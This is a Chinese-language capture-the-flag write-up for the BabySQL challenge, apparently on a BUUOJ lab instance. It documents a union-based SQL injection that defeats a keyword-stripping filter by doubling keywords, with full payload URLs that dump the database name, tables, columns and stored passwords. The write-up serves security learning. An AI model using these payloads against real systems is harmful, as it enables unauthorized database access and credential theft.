[PHP知识库][极客大挑战 2019]BabySQL WP

[极客大挑战 2019]BabySQL

1

实话说起来这个题目其实挺套娃的

打开一个又是一个登录界面，好啊，先试试万能密码?username=admin’ or 1=1#&password=123

意料之中的报错。查看一下自己的url发现呢，

大概是对我们所输入的内容，进行了相应的检查，check.php ，然后我们在URL中 输入的东西，在下端没有回显，由此可确定我们输入的sql语句中的一些关键词，被过滤。

而且我们跳转到了 check.php 界面 ，由此我们才测试哪一个关键词被过滤了

由此可以看出来是 or where union select…..大概率被替换掉然后换成了空白。

既然如此那么尝试一下双写，因为他是检测关键词，然后将它替换成空白 但是如果我们这么写 uunionnion?? sselectelect? 那么检测会优先检测出 union替换成空格，于是我们之后的就又可以拼接成相应的语句。据此我们开始尝试注入！

构建payload

http://2eb73f4f-e77c-4ddf-8e17-091244406bfc.node4.buuoj.cn/check.php?username=admin&password=admin%27%20uunionnion%20sselectelect%201,2,3%23

回显位为 2 ，3

那么继续读库

Payload

http://2eb73f4f-e77c-4ddf-8e17-091244406bfc.node4.buuoj.cn/check.php?username=admin&password=admin%27%20uunionnion%20sselectelect%201,database(),3%23

库为 geek

表！

构建payload

http://2eb73f4f-e77c-4ddf-8e17-091244406bfc.node4.buuoj.cn/check.php?username=admin&password=admin%27%20uunionnion%20sselectelect%201,2,group_concat(table_name)ffromrom%20infoorrmation_schema.tables%20wwherehere%20table_schema=database()%23

看到有 b4bsql 和 geekuser 这里两表 ，那么尝试着查看 第一个

http://2eb73f4f-e77c-4ddf-8e17-091244406bfc.node4.buuoj.cn/check.php?username=admin&password=admin%27%20uunionnion%20sselectelect%201,2,group_concat(column_name)ffromrom%20infoorrmation_schema.columns%20wwherehere%20table_name=%27b4bsql%27%23

随后看看password这个表里有什么

http://2eb73f4f-e77c-4ddf-8e17-091244406bfc.node4.buuoj.cn/check.php?username=admin&password=admin%27%20uunionnion%20sselectelect%201,2,group_concat(passwoorrd)ffromrom%20b4bsql%23

flag 出来了

。

上传正确，

由于咱也不是什么老实人 于是 我就看了看另外一个表里面有什么 。然后查到了

刚开始感觉可能是一样的吧，当时觉得，然后就去查了一下他的那个password

得出来是这个，然后我复制一下

到登录界面查看一下，然后输入这个密码啊 显示登陆成功，然后没然后了，然后这个码大概是个假flag 吧 没法 提交了，就没在搞、。

然后这个题算是告一段落。